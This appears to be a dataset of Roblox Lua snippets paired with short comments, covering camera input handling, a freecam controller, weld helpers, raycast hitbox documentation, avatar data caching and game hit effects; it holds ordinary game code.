local velocityDeltaMag = (velocity - lastVelocity).magnitude
if velocityDeltaMag > 12 then
currentSpeed = currentSpeed * (20/velocityDeltaMag)
if currentSpeed > maxSpeed then currentSpeed = maxSpeed end
end
end
end
local success, gamepadCameraSensitivity = pcall(function() return GameSettings.GamepadCameraSensitivity end)
finalConstant = success and (gamepadCameraSensitivity * currentSpeed) or currentSpeed
lastVelocity = (gamepadPan - lastThumbstickPos)/(currentTime - lastThumbstickRotate)
end
lastThumbstickPos = gamepadPan
lastThumbstickRotate = currentTime
return Vector2_new( gamepadPan.X * finalConstant, gamepadPan.Y * finalConstant * ySensitivity * GameSettings:GetCameraYInvertValue())
end
return ZERO_VECTOR2
end
local InputBeganConn, InputChangedConn, InputEndedConn, MenuOpenedConn, ShiftLockToggleConn, GamepadConnectedConn, GamepadDisconnectedConn, TouchActivateConn = nil, nil, nil, nil, nil, nil, nil, nil
function this:DisconnectInputEvents()
if InputBeganConn then
InputBeganConn:disconnect()
InputBeganConn = nil
end
if InputChangedConn then
InputChangedConn:disconnect()
InputChangedConn = nil
end
if InputEndedConn then
InputEndedConn:disconnect()
InputEndedConn = nil
end
if MenuOpenedConn then
MenuOpenedConn:disconnect()
MenuOpenedConn = nil
end
if ShiftLockToggleConn then
ShiftLockToggleConn:disconnect()
ShiftLockToggleConn = nil
end
if GamepadConnectedConn then
GamepadConnectedConn:disconnect()
GamepadConnectedConn = nil
end
if GamepadDisconnectedConn then
GamepadDisconnectedConn:disconnect()
GamepadDisconnectedConn = nil
end
if subjectStateChangedConn then
subjectStateChangedConn:disconnect()
subjectStateChangedConn = nil
end
if workspaceChangedConn then
workspaceChangedConn:disconnect()
workspaceChangedConn = nil
end
if TouchActivateConn then
TouchActivateConn:disconnect()
TouchActivateConn = nil
end
this.TurningLeft = false
this.TurningRight = false
this.LastCameraTransform = nil
self.LastSubjectCFrame = nil
this.UserPanningTheCamera = false
this.RotateInput = Vector2.new()
this.GamepadPanningCamera = Vector2.new(0,0)
-- Reset input states
startPos = nil
lastPos = nil
panBeginLook = nil
isRightMouseDown = false
isMiddleMouseDown = false
fingerTouches = {}
NumUnsunkTouches = 0
StartingDiff = nil
pinchBeginZoom = nil
-- Unlock mouse for example if right mouse button was being held down
if UserInputService.MouseBehavior ~= Enum.MouseBehavior.LockCenter then
UserInputService.MouseBehavior = Enum.MouseBehavior.Default
end
end
function this:ResetInputStates()
isRightMouseDown = false
isMiddleMouseDown = false
OnMousePanButtonReleased() -- this function doesn't seem to actually need parameters
if UserInputService.TouchEnabled then
--[[menu opening was causing serious touch issues
this should disable all active touch events if
they're active when menu opens.]]
for inputObject, value in pairs(fingerTouches) do
fingerTouches[inputObject] = nil
end
panBeginLook = nil
startPos = nil
lastPos = nil
this.UserPanningTheCamera = false
StartingDiff = nil
pinchBeginZoom = nil
NumUnsunkTouches = 0
end
end
function this.getGamepadPan(name, state, input)
if input.UserInputType == this.activeGamepad and input.KeyCode == Enum.KeyCode.Thumbstick2 then
if state == Enum.UserInputState.Cancel then
this.GamepadPanningCamera = ZERO_VECTOR2
return
end
local inputVector = Vector2.new(input.Position.X, -input.Position.Y)
if inputVector.magnitude > THUMBSTICK_DEADZONE then
this.GamepadPanningCamera = Vector2_new(input.Position.X, -input.Position.Y)
else
this.GamepadPanningCamera = ZERO_VECTOR2
end
end
end
function this.doGamepadZoom(name, state, input)
if input.UserInputType == this.activeGamepad and input.KeyCode == Enum.KeyCode.ButtonR3 and state == Enum.UserInputState.Begin then
if this.ZoomEnabled then
if this:GetCameraZoom() > 0.5 then
this:ZoomCamera(0)
else
this:ZoomCamera(10)
end
end
end
end
function this:BindGamepadInputActions()
ContextActionService:BindAction("RootCamGamepadPan", this.getGamepadPan, false, Enum.KeyCode.Thumbstick2)
ContextActionService:BindAction("RootCamGamepadZoom", this.doGamepadZoom, false, Enum.KeyCode.ButtonR3)
end
function this:ConnectInputEvents()
InputBeganConn = UserInputService.InputBegan:connect(function(input, processed)
if input.UserInputType == Enum.UserInputType.Touch then
OnTouchBegan(input, processed)
elseif input.UserInputType == Enum.UserInputType.MouseButton2 then
OnMouse2Down(input, processed)
elseif input.UserInputType == Enum.UserInputType.MouseButton3 then
OnMouse3Down(input, processed)
end
-- Keyboard
if input.UserInputType == Enum.UserInputType.Keyboard then
OnKeyDown(input, processed)
end
end)
InputChangedConn = UserInputService.InputChanged:connect(function(input, processed)
if input.UserInputType == Enum.UserInputType.Touch then
OnTouchChanged(input, processed)
elseif input.UserInputType == Enum.UserInputType.MouseMovement then
OnMouseMoved(input, processed)
elseif input.UserInputType == Enum.UserInputType.MouseWheel then
OnMouseWheel(input, processed)
end
end)
InputEndedConn = UserInputService.InputEnded:connect(function(input, processed)
if input.UserInputType == Enum.UserInputType.Touch then
OnTouchEnded(input, processed)
elseif input.UserInputType == Enum.UserInputType.MouseButton2 then
OnMouse2Up(input, processed)
elseif input.UserInputType == Enum.UserInputType.MouseButton3 then
OnMouse3Up(input, processed)
end
-- Keyboard
if input.UserInputType == Enum.UserInputType.Keyboard then
OnKeyUp(input, processed)
end
end)
if touchWorkspaceEventEnabled then
TouchActivateConn = UserInputService.TouchTapInWorld:connect(function(touchPos, processed)
if isDynamicThumbstickEnabled and not processed and not IsAToolEquipped and positionIntersectsGuiObject(touchPos, GestureArea) then
if lastTapTime and tick() - lastTapTime < MAX_TIME_FOR_DOUBLE_TAP then
local tween = {
from = this:GetCameraZoom(),
to = DefaultZoom,
start = tick(),
duration = 0.2,
func = function(from, to, alpha)
this:ZoomCamera(from + (to - from)*alpha)
return to
end
}
tweens["Zoom"] = tween
else
local humanoid = this:GetHumanoid()
if humanoid then
local player = PlayersService.LocalPlayer
if player and player.Character then
if humanoid and humanoid.Torso then
local tween = {
from = this.RotateInput,
to = calcLookBehindRotateInput(humanoid.Torso),
start = tick(),
duration = 0.2,
func = function(from, to, alpha)
to = calcLookBehindRotateInput(humanoid.Torso)
if to then
this.RotateInput = from + (to - from)*alpha
end
return to
end
}
tweens["Rotate"] = tween
-- reset old camera info so follow cam doesn't rotate us
this.LastCameraTransform = nil
end
end
end
end
lastTapTime = tick()
end
end)
end
MenuOpenedConn = GuiService.MenuOpened:connect(function()
this:ResetInputStates()
end)
workspaceChangedConn = workspace:GetPropertyChangedSignal("CurrentCamera"):Connect(onCurrentCameraChanged)
if workspace.CurrentCamera then
onCurrentCameraChanged()
end
ShiftLockToggleConn = ShiftLockController.OnShiftLockToggled.Event:connect(function()
this:UpdateMouseBehavior()
end)
this.RotateInput = Vector2.new()
this.activeGamepad = nil
local function assignActivateGamepad()
local connectedGamepads = UserInputService:GetConnectedGamepads()
if #connectedGamepads > 0 then
for i = 1, #connectedGamepads do
if this.activeGamepad == nil then
this.activeGamepad = connectedGamepads[i]
elseif connectedGamepads[i].Value < this.activeGamepad.Value then
this.activeGamepad = connectedGamepads[i]
end
end
end
if this.activeGamepad == nil then -- nothing is connected, at least set up for gamepad1
this.activeGamepad = Enum.UserInputType.Gamepad1
end
end
GamepadConnectedConn = UserInputService.GamepadDisconnected:connect(function(gamepadEnum)
if this.activeGamepad ~= gamepadEnum then return end
this.activeGamepad = nil
assignActivateGamepad()
end)
GamepadDisconnectedConn = UserInputService.GamepadConnected:connect(function(gamepadEnum)
if this.activeGamepad == nil then
assignActivateGamepad()
end
end)
self:BindGamepadInputActions()
assignActivateGamepad()
-- set mouse behavior
self:UpdateMouseBehavior()
end
--Process tweens related to tap-to-recenter and double-tap-to-zoom
--Needs to be called from specific cameras on each update
function this:ProcessTweens()
for name, tween in pairs(tweens) do
local alpha = math.min(1.0, (tick() - tween.start)/tween.duration)
tween.to = tween.func(tween.from, tween.to, alpha)
if math.abs(1 - alpha) < 0.0001 then
tweens[name] = nil
end
end
end
function this:SetEnabled(newState)
if newState ~= self.Enabled then
self.Enabled = newState
if self.Enabled then
self:ConnectInputEvents()
self.cframe = workspace.CurrentCamera.CFrame
else
self:DisconnectInputEvents()
end
end
end
local function OnPlayerAdded(player)
player.Changed:connect(function(prop)
if this.Enabled then
if prop == "CameraMode" or prop == "CameraMaxZoomDistance" or prop == "CameraMinZoomDistance" then
this:ZoomCameraFixedBy(0)
end
end
end)
local function OnCharacterAdded(newCharacter)
local humanoid = findPlayerHumanoid(player)
local start = tick()
while tick() - start < 0.3 and (humanoid == nil or humanoid.Torso == nil) do
task.wait()
humanoid = findPlayerHumanoid(player)
end
if humanoid and humanoid.Torso and player.Character == newCharacter then
local newDesiredLook = (humanoid.Torso.CFrame.lookVector - Vector3.new(0,0.23,0)).unit
local horizontalShift = findAngleBetweenXZVectors(newDesiredLook, this:GetCameraLook())
local vertShift = math.asin(this:GetCameraLook().y) - math.asin(newDesiredLook.y)
if not IsFinite(horizontalShift) then
horizontalShift = 0
end
if not IsFinite(vertShift) then
vertShift = 0
end
this.RotateInput = Vector2.new(horizontalShift, vertShift)
-- reset old camera info so follow cam doesn't rotate us
this.LastCameraTransform = nil
end
-- Need to wait for camera cframe to update before we zoom in
-- Not waiting will force camera to original cframe
task.wait()
this:ZoomCamera(this.DefaultZoom)
end
player.CharacterAdded:connect(function(character)
if this.Enabled or SetCameraOnSpawn then
OnCharacterAdded(character)
SetCameraOnSpawn = false
end
end)
if player.Character then
spawn(function() OnCharacterAdded(player.Character) end)
end
end
if PlayersService.LocalPlayer then
OnPlayerAdded(PlayersService.LocalPlayer)
end
PlayersService.ChildAdded:connect(function(child)
if child and PlayersService.LocalPlayer == child then
OnPlayerAdded(PlayersService.LocalPlayer)
end
end)
local function OnGameLoaded()
hasGameLoaded = true
end
spawn(function()
if game:IsLoaded() then
OnGameLoaded()
else
game.Loaded:wait()
OnGameLoaded()
end
end)
local function OnDynamicThumbstickEnabled()
if UserInputService.TouchEnabled then
isDynamicThumbstickEnabled = true
end
end
local function OnDynamicThumbstickDisabled()
isDynamicThumbstickEnabled = false
end
local function OnGameSettingsTouchMovementModeChanged()
if LocalPlayer.DevTouchMovementMode == Enum.DevTouchMovementMode.UserChoice then
if GameSettings.TouchMovementMode.Name == "DynamicThumbstick" then
OnDynamicThumbstickEnabled()
else
OnDynamicThumbstickDisabled()
end
end
end
local function OnDevTouchMovementModeChanged()
if LocalPlayer.DevTouchMovementMode.Name == "DynamicThumbstick" then
OnDynamicThumbstickEnabled()
else
OnGameSettingsTouchMovementModeChanged()
end
end
if PlayersService.LocalPlayer then
PlayersService.LocalPlayer.Changed:Connect(function(prop)
if prop == "DevTouchMovementMode" then
OnDevTouchMovementModeChanged()
end
end)
OnDevTouchMovementModeChanged()
end
GameSettings.Changed:Connect(function(prop)
if prop == "TouchMovementMode" then
OnGameSettingsTouchMovementModeChanged()
end
end)
OnGameSettingsTouchMovementModeChanged()
GameSettings:SetCameraYInvertVisible()
pcall(function() GameSettings:SetGamepadCameraSensitivityVisible() end)
return this
end
return CreateCamera
|
--Where the helicopter will return to--
|
local pitch,yaw,roll = myRoot.CFrame:ToEulerAnglesXYZ()
local home = CFrame.new(body.Position) * CFrame.fromEulerAnglesXYZ(pitch,yaw,roll)
|
-- (Hat Giver Script - Loaded.)
|
debounce = true
function onTouched(hit)
if (hit.Parent:findFirstChild("Humanoid") ~= nil and debounce == true) then
debounce = false
h = Instance.new("Hat")
p = Instance.new("Part")
h.Name = "Handle"
p.Parent = h
p.Position = hit.Parent:findFirstChild("Head").Position
p.Name = "Handle"
p.formFactor = 0
p.Size = Vector3.new(2, 1, 2)
p.BottomSurface = 0
p.TopSurface = 0
p.Locked = true
script.Parent.Mesh:clone().Parent = p
h.Parent = hit.Parent
h.AttachmentPos = Vector3.new(0, 0.35, 0)
h.AttachmentRight = Vector3.new(1, -0, 0)
h.AttachmentUp = Vector3.new(0, 0.995, -0.0995)
h.AttachmentForward = Vector3.new(0, -0.0995, -0.995)
wait(5)
debounce = true
end
end
script.Parent.Touched:connect(onTouched)
|
-- On Startup
|
PhysicsService:CreateCollisionGroup(playerCollisionGroupName)
PhysicsService:CollisionGroupSetCollidable(playerCollisionGroupName, playerCollisionGroupName, false)
|
------------------------------------------------------------------------
|
local Input = {} do
local thumbstickCurve do
local K_CURVATURE = 2.0
local K_DEADZONE = 0.15
local function fCurve(x)
return (exp(K_CURVATURE*x) - 1)/(exp(K_CURVATURE) - 1)
end
local function fDeadzone(x)
return fCurve((x - K_DEADZONE)/(1 - K_DEADZONE))
end
function thumbstickCurve(x)
return sign(x)*clamp(fDeadzone(abs(x)), 0, 1)
end
end
local gamepad = {
ButtonX = 0,
ButtonY = 0,
DPadDown = 0,
DPadUp = 0,
ButtonL2 = 0,
ButtonR2 = 0,
Thumbstick1 = Vector2.new(),
Thumbstick2 = Vector2.new(),
}
local keyboard = {
W = 0,
A = 0,
S = 0,
D = 0,
E = 0,
Q = 0,
U = 0,
H = 0,
J = 0,
K = 0,
I = 0,
Y = 0,
Up = 0,
Down = 0,
LeftShift = 0,
RightShift = 0,
}
local mouse = {
Delta = Vector2.new(),
MouseWheel = 0,
}
local NAV_GAMEPAD_SPEED = Vector3.new(1, 1, 1)
local NAV_KEYBOARD_SPEED = Vector3.new(1, 1, 1)
local PAN_MOUSE_SPEED = Vector2.new(1, 1)*(pi/64)
local PAN_GAMEPAD_SPEED = Vector2.new(1, 1)*(pi/8)
local FOV_WHEEL_SPEED = 1.0
local FOV_GAMEPAD_SPEED = 0.25
local NAV_ADJ_SPEED = 0.75
local NAV_SHIFT_MUL = 0.25
local navSpeed = 1
function Input.Vel(dt)
navSpeed = clamp(navSpeed + dt*(keyboard.Up - keyboard.Down)*NAV_ADJ_SPEED, 0.01, 4)
local kGamepad = Vector3.new(
thumbstickCurve(gamepad.Thumbstick1.X),
thumbstickCurve(gamepad.ButtonR2) - thumbstickCurve(gamepad.ButtonL2),
thumbstickCurve(-gamepad.Thumbstick1.Y)
)*NAV_GAMEPAD_SPEED
local kKeyboard = Vector3.new(
keyboard.D - keyboard.A + keyboard.K - keyboard.H,
keyboard.E - keyboard.Q + keyboard.I - keyboard.Y,
keyboard.S - keyboard.W + keyboard.J - keyboard.U
)*NAV_KEYBOARD_SPEED
local shift = UserInputService:IsKeyDown(Enum.KeyCode.LeftShift) or UserInputService:IsKeyDown(Enum.KeyCode.RightShift)
return (kGamepad + kKeyboard)*(navSpeed*(shift and NAV_SHIFT_MUL or 1))
end
function Input.Pan(dt)
local kGamepad = Vector2.new(
thumbstickCurve(gamepad.Thumbstick2.Y),
thumbstickCurve(-gamepad.Thumbstick2.X)
)*PAN_GAMEPAD_SPEED
local kMouse = mouse.Delta*PAN_MOUSE_SPEED
mouse.Delta = Vector2.new()
return kGamepad + kMouse
end
function Input.Fov(dt)
local kGamepad = (gamepad.ButtonX - gamepad.ButtonY)*FOV_GAMEPAD_SPEED
local kMouse = mouse.MouseWheel*FOV_WHEEL_SPEED
mouse.MouseWheel = 0
return kGamepad + kMouse
end
do
local function Keypress(action, state, input)
keyboard[input.KeyCode.Name] = state == Enum.UserInputState.Begin and 1 or 0
return Enum.ContextActionResult.Sink
end
local function GpButton(action, state, input)
gamepad[input.KeyCode.Name] = state == Enum.UserInputState.Begin and 1 or 0
return Enum.ContextActionResult.Sink
end
local function MousePan(action, state, input)
local delta = input.Delta
mouse.Delta = Vector2.new(-delta.y, -delta.x)
return Enum.ContextActionResult.Sink
end
local function Thumb(action, state, input)
gamepad[input.KeyCode.Name] = input.Position
return Enum.ContextActionResult.Sink
end
local function Trigger(action, state, input)
gamepad[input.KeyCode.Name] = input.Position.z
return Enum.ContextActionResult.Sink
end
local function MouseWheel(action, state, input)
mouse[input.UserInputType.Name] = -input.Position.z
return Enum.ContextActionResult.Sink
end
local function Zero(t)
for k, v in pairs(t) do
t[k] = v*0
end
end
function Input.StartCapture()
ContextActionService:BindActionAtPriority("FreecamKeyboard", Keypress, false, INPUT_PRIORITY,
Enum.KeyCode.W, Enum.KeyCode.U,
Enum.KeyCode.A, Enum.KeyCode.H,
Enum.KeyCode.S, Enum.KeyCode.J,
Enum.KeyCode.D, Enum.KeyCode.K,
Enum.KeyCode.E, Enum.KeyCode.I,
Enum.KeyCode.Q, Enum.KeyCode.Y,
Enum.KeyCode.Up, Enum.KeyCode.Down
)
ContextActionService:BindActionAtPriority("FreecamMousePan", MousePan, false, INPUT_PRIORITY, Enum.UserInputType.MouseMovement)
ContextActionService:BindActionAtPriority("FreecamMouseWheel", MouseWheel, false, INPUT_PRIORITY, Enum.UserInputType.MouseWheel)
ContextActionService:BindActionAtPriority("FreecamGamepadButton", GpButton, false, INPUT_PRIORITY, Enum.KeyCode.ButtonX, Enum.KeyCode.ButtonY)
ContextActionService:BindActionAtPriority("FreecamGamepadTrigger", Trigger, false, INPUT_PRIORITY, Enum.KeyCode.ButtonR2, Enum.KeyCode.ButtonL2)
ContextActionService:BindActionAtPriority("FreecamGamepadThumbstick", Thumb, false, INPUT_PRIORITY, Enum.KeyCode.Thumbstick1, Enum.KeyCode.Thumbstick2)
end
function Input.StopCapture()
navSpeed = 1
Zero(gamepad)
Zero(keyboard)
Zero(mouse)
ContextActionService:UnbindAction("FreecamKeyboard")
ContextActionService:UnbindAction("FreecamMousePan")
ContextActionService:UnbindAction("FreecamMouseWheel")
ContextActionService:UnbindAction("FreecamGamepadButton")
ContextActionService:UnbindAction("FreecamGamepadTrigger")
ContextActionService:UnbindAction("FreecamGamepadThumbstick")
end
end
end
local function GetFocusDistance(cameraFrame)
local znear = 0.1
local viewport = Camera.ViewportSize
local projy = 2*tan(cameraFov/2)
local projx = viewport.x/viewport.y*projy
local fx = cameraFrame.rightVector
local fy = cameraFrame.upVector
local fz = cameraFrame.lookVector
local minVect = Vector3.new()
local minDist = 512
for x = 0, 1, 0.5 do
for y = 0, 1, 0.5 do
local cx = (x - 0.5)*projx
local cy = (y - 0.5)*projy
local offset = fx*cx - fy*cy + fz
local origin = cameraFrame.p + offset*znear
local _, hit = Workspace:FindPartOnRay(Ray.new(origin, offset.unit*minDist))
local dist = (hit - origin).magnitude
if minDist > dist then
minDist = dist
minVect = offset.unit
end
end
end
return fz:Dot(minVect)*minDist
end
|
--[[Weld functions]]
|
local JS = game:GetService("JointsService")
local PGS_ON = workspace:PGSIsEnabled()
function MakeWeld(x,y,type,s)
if type==nil then type="Weld" end
local W=Instance.new(type,JS)
W.Part0=x W.Part1=y
W.C0=x.CFrame:inverse()*x.CFrame
W.C1=y.CFrame:inverse()*x.CFrame
if type=="Motor" and s~=nil then
W.MaxVelocity=s
end
return W
end
function ModelWeld(a,b)
if a:IsA("BasePart") and
a.Parent.Name ~= ("Lights") and
a.Parent.Name ~= ("Chasis") and
a.Parent.Name ~= ("RotLight") and
a.Parent.Name ~= ("Door") then
MakeWeld(b,a,"Weld")
for i,v in pairs(a:GetChildren()) do
if v ~= nil and v:IsA("BasePart") then
ModelWeld(v,b)
end
end
elseif a:IsA("Model") then
for i,v in pairs(a:GetChildren()) do
ModelWeld(v,b)
end
end
end
function UnAnchor(a)
if a:IsA("BasePart") then a.Anchored=false end for i,v in pairs(a:GetChildren()) do UnAnchor(v) end
end
|
--[[
____________________________________________________________________________________________________________________________________________________________________________
If you have any questions, feel free to message me on DevForum. Credits not neccessary but is appreciated.
[ How To Use - Quick Start Guide ]
1. Insert Attachments to places where you want your "hitbox" to be. For swords, I like to have attachments 1 stud apart and strung along the blade.
2. Name those Attachments "DmgPoint" (so the script knows). You can configure what name the script will look for in the variables below.
3. Open up a script. As an example, maybe we have a sword welded to the character or as a tool. Require this, and initialize:
* Example Code
local Damage = 10
local Hitbox = RaycastHitbox.new(Character)
Hitbox.OnHit:Connect(function(hit, humanoid)
print(hit.Name)
humanoid:TakeDamage(Damage)
end)
Hitbox:HitStart() --- Turns on the hitbox
wait(10) --- Waits 10 seconds
Hitbox:HitStop() --- Turns off the hitbox
4. Profit. Refer to the API below for more information.
____________________________________________________________________________________________________________________________________________________________________________
[ RaycastHitBox API ]
* local RaycastHitbox = require(RaycastHitboxV4) ---Duh
--- To use, insert this at the top of your scripts or wherever.
[ FUNCTIONS ]
* RaycastHitbox.new(Instance model | BasePart | nil)
Description
--- Preps the model and recursively finds attachments in it so it knows where to shoot rays out of later. If a hitbox exists for this
--- object already, it simply returns the same hitbox.
Arguments
--- Instance: (Like your character, a sword model, etc). Can be left nil in case you want an empty Hitbox or use SetPoints later
Returns
Instance HitboxObject
* RaycastHitModule:GetHitbox(Instance model)
Description
--- Gets the HitboxObject if it exists.
Returns
--- HitboxObject if found, else nil
* HitboxObject:SetPoints(Instance BasePart | Bone, table vectorPoints, string group)
Description
--- Merges existing Hitbox points with new Vector3 values relative to a part/bone position. This part can be a descendent of your original Hitbox model or
can be an entirely different instance that is not related to the hitbox (example: Have a weapon with attachments and you can then add in more vector3
points without instancing new attachments, great for dynamic hitboxes)
Arguments
--- Instance BasePart | Bone: Sets the part/bone that these vectorPoints will move in relation to the part's origin using Vector3ToWorldSpace
--- table vectorPoints: Table of vector3 values.
--- string group: optional group parameter
* HitboxObject:RemovePoints(Instance BasePart | Bone, table vectorPoints)
Description
--- Remove given Vector3 values provided the part was the same as the ones you set in SetPoints
Arguments
--- Instance BasePart | Bone: Sets the part that these vectorPoints will be removed from in relation to the part's origin using Vector3ToWorldSpace
--- table vectorPoints: Table of vector3 values.
* HitboxObject:LinkAttachments(Instance attachment1, Instance attachment2)
Description
--- Set two attachments to be in a link. The Raycast module will raycast between these two points.
Arguments
--- Instance attachment1/attachment2: Attachment objects
* HitboxObject:UnlinkAttachments(Instance attachment1)
Description
--- Removes the link of an attachment. Only needs the primary attachment (argument 1 of LinkAttachments) to work. Will automatically sever the connection
to the second attachment.
Arguments
--- Instance attachment1: Attachment object
* HitboxObject:HitStart(seconds)
Description
--- Starts drawing the rays. Will only damage the target once. Call HitStop to reset the target pool so you can damage the same targets again.
If HitStart hits a target(s), OnHit event will be called.
Arguments
--- number seconds: Optional numerical value, the hitbox will automatically turn off after this amount of time has elapsed
* HitboxObject:HitStop()
Description
--- Stops drawing the rays and resets the target pool. Will do nothing if no rays are being drawn from the initialized model.
* HitboxObject.OnHit:Connect(returns: Instance part, returns: Instance humanoid, returns: RaycastResults, returns: String group)
Description
--- If HitStart hits a fresh new target, OnHit returns information about the hit target
Arguments
--- Instance part: Returns the part that the rays hit first
--- Instance humanoid: Returns the Humanoid object
--- RaycastResults RaycastResults: Returns information about the last raycast results
--- String group: Returns information on the hitbox's group
* HitboxObject.OnUpdate:Connect(returns: Vector3 position)
Description
--- This fires every frame, for every point, returning a Vector3 value of its last position in space. Do not use expensive operations in this function.
[ PROPERTIES ]
* HitboxObject.RaycastParams: RaycastParams
Description
--- Takes in a RaycastParams object
* HitboxObject.Visualizer: boolean
Description
--- Turns on or off the debug rays for this hitbox
* HitboxObject.DebugLog: boolean
Description
--- Turns on or off output writing for this hitbox
* HitboxObject.DetectionMode: number [1 - 3]
Description
--- Defaults to 1. Refer to DetectionMode subsection below for more information
[ DETECTION MODES ]
* RaycastHitbox.DetectionMode.Default
Description
--- Checks if a humanoid exists when this hitbox touches a part. The hitbox will not return humanoids it has already hit for the duration
--- the hitbox has been active.
* RaycastHitbox.DetectionMode.PartMode
Description
--- OnHit will return every hit part (in respect to the hitbox's RaycastParams), regardless if it's ascendant has a humanoid or not.
--- OnHit will no longer return a humanoid so you will have to check it. The hitbox will not return parts it has already hit for the
--- duration the hitbox has been active.
* RaycastHitbox.DetectionMode.Bypass
Description
--- PERFORMANCE MAY SUFFER IF THERE ARE A LOT OF PARTS. Use only if necessary.
--- Similar to PartMode, the hitbox will return every hit part. Except, it will keep returning parts even if it has already hit them.
--- Warning: If you have multiple raycast or attachment points, each raycast will also call OnHit. Allows you to create your own
--- filter system.
____________________________________________________________________________________________________________________________________________________________________________
--]]
| |
--[[
]]
|
local Players = game:GetService("Players")
local ReplicatedStorage = game:GetService("ReplicatedStorage")
local Http = game:GetService("HttpService")
local AvatarEditor = ReplicatedStorage.AvatarEditor
local Promise = require(AvatarEditor.Shared.Util.Promise)
local Colors = require(AvatarEditor.Shared.Colors)
local player = Players.LocalPlayer
local ids = nil
local skintone = nil
local scales = nil
local idProperties = {
"BackAccessory",
"FaceAccessory",
"FrontAccessory",
"HairAccessory",
"HatAccessory",
"NeckAccessory",
"ShouldersAccessory",
"WaistAccessory",
"Face",
"Head",
"LeftArm",
"LeftLeg",
"RightArm",
"RightLeg",
"Torso",
"ClimbAnimation",
"FallAnimation",
"IdleAnimation",
"JumpAnimation",
"RunAnimation",
"SwimAnimation",
"WalkAnimation",
"Pants",
"Shirt",
}
local scaleProperties = {
"BodyTypeScale",
--"DepthScale",
"HeadScale",
"HeightScale",
"ProportionScale",
"WidthScale",
}
local module = {}
module.UID = Http:GenerateGUID(false)
local function getHumanoid()
local character = player.Character
local humanoid = character and character:FindFirstChildWhichIsA("Humanoid")
if humanoid then
return humanoid
end
end
local function getHumanoidDescription()
return Promise.new(function(resolve, reject)
local humanoid = getHumanoid()
if not humanoid then
return Promise.reject("no humanoid")
end
local description = humanoid:GetAppliedDescription()
if description then
resolve(description)
else
reject("description not found")
end
end)
:andThen(function(description)
ids = {}
for i, v in ipairs(idProperties) do
local values = string.split(description[v], ",")
for j, k in ipairs(values) do
if k == "" or k == "0" then
continue
end
ids[tonumber(k)] = true
end
end
scales = {}
for i, v in ipairs(scaleProperties) do
scales[v] = description[v]
end
skintone = description.HeadColor
end)
:catch(warn)
:finally(function()
if ids == nil then
ids = {}
end
end)
end
function module:Get()
if ids == nil then
getHumanoidDescription():await()
end
return ids
end
function module:GetTone()
if skintone == nil then
getHumanoidDescription():await()
end
return skintone
end
function module:GetScale()
if scales == nil then
getHumanoidDescription():await()
end
return scales
end
function module:Update()
getHumanoidDescription():await()
self.UID = Http:GenerateGUID(false)
end
return module
|
-- Static variables
|
local _VOLUME = 32 -- Part Vector3.new(4, 1, 8)
local _DENSITY = 0.7 -- Default density
|
--// # key, ManOff
|
mouse.KeyUp:connect(function(key)
if key=="h" then
veh.Lightbar.middle.Man:Stop()
veh.Lightbar.middle.Wail.Volume = 3
veh.Lightbar.middle.Yelp.Volume = 3
veh.Lightbar.middle.Priority.Volume = 3
script.Parent.Parent.Sirens.Man.BackgroundColor3 = Color3.fromRGB(62, 62, 62)
veh.Lightbar.MAN.Transparency = 1
end
end)
|
--[[ Derived classes are required to override and implement all of the following functions ]]
|
--
function BaseOcclusion:GetOcclusionMode()
-- Must be overridden in derived classes to return an Enum.DevCameraOcclusionMode value
warn("BaseOcclusion GetOcclusionMode must be overridden by derived classes")
return nil
end
function BaseOcclusion:Enable(enabled)
warn("BaseOcclusion Enable must be overridden by derived classes")
end
function BaseOcclusion:Update(dt, desiredCameraCFrame, desiredCameraFocus)
warn("BaseOcclusion Update must be overridden by derived classes")
return desiredCameraCFrame, desiredCameraFocus
end
return BaseOcclusion
|
-- Create ParticleEffect for specified part (being destroyed)
|
local function createParticles(parentPart)
local particles = Instance.new("ParticleEmitter")
particles.Name = "Particles"
particles.Parent = parentPart
particles.Texture = "rbxassetid://3127279684" -- Points icon
particles.Size = NumberSequence.new(.75)
particles.Acceleration = Vector3.new(0, -15, 0)
particles.Lifetime = NumberRange.new(0.5, 1.5)
particles.Speed = NumberRange.new(15)
particles.SpreadAngle = Vector2.new(30, 30)
particles.Rate = 20
local particleThread = coroutine.create(function()
wait(0.75)
particles.Enabled = false
DebrisService:AddItem(particles, 0.75)
end)
coroutine.resume(particleThread)
return particles
end
local function getHittableWhitelist()
local map = mapManager.getMap()
if not map then
return false
end
local highPoints = map:FindFirstChild("HighPoints")
local mediumPoints = map:FindFirstChild("MediumPoints")
local lowPoints = map:FindFirstChild("LowPoints")
return {highPoints, mediumPoints, lowPoints}
end
local function getHit(player)
-- Destroy parts touching the player's right hand if they are in the map and not a prop (and award points)
local humanoidRootPart = player.Character:FindFirstChild("HumanoidRootPart")
if not humanoidRootPart then return end
local origin = humanoidRootPart.Position + PUNCH_HEIGHT_OFFSET -- Lower the origin
local aimDirection = humanoidRootPart.CFrame.lookVector
-- create a ray aiming the same way as player
local ray = Ray.new(origin, aimDirection * PUNCH_RANGE)
-- Create a whitelist for the map folders
local hittableWhitelist = getHittableWhitelist()
if not hittableWhitelist then return end
-- raycast
local hit, position = workspace:FindPartOnRayWithWhitelist(ray, hittableWhitelist, true)
return hit
end
local function handleHit(hit, player)
local model = getModel(hit)
if model and isModelDestroyed(hit, destroyedModels) then
return
end
-- Get topmost ancestor (for cases where touched part is part of a model)
local topAncestor = getTopAncestor(hit)
-- Points type matching name of ancestor folder
local pointsType = topAncestor.Parent.Name
-- Add member to debris
DebrisService:AddItem(topAncestor, 0.01)
-- Add model to destroy model table to track before Debris does garbage
-- collection and removes it
table.insert(destroyedModels, topAncestor)
-- Make part/model non-collidable
if topAncestor:IsA("Model") then
breakModel(topAncestor)
else
topAncestor.CanCollide = false
end
createSmoke(topAncestor)
local debris = createDebris(topAncestor)
createParticles(debris)
-- Award points
leaderboardManager:incrementStat(player, "Points", gameSettings.pointValues[pointsType])
end
|
--[[ Utility Functions ]]
|
--
local function IsFinite(num: number)
return num == num and num ~= 1/0 and num ~= -1/0
end
local function IsFiniteVector3(vec3)
return IsFinite(vec3.x) and IsFinite(vec3.y) and IsFinite(vec3.z)
end
local movementUpdateEvent = Instance.new("BindableEvent")
movementUpdateEvent.Name = "MovementUpdate"
movementUpdateEvent.Parent = script
coroutine.wrap(function()
local PathDisplayModule = script.Parent:WaitForChild("PathDisplay")
if PathDisplayModule then
PathDisplay = require(PathDisplayModule)
end
end)()
|
--[[
Returns the item transparency binding for a single item.
Used for coordinating slide + fade animations: image should fade to the inactive state as we are sliding.
]]
|
modules.getItemTransparency = function(self)
return function(renderedIndex, index, mid)
-- Avoid the same image being shown as selected when they are shown on the same page
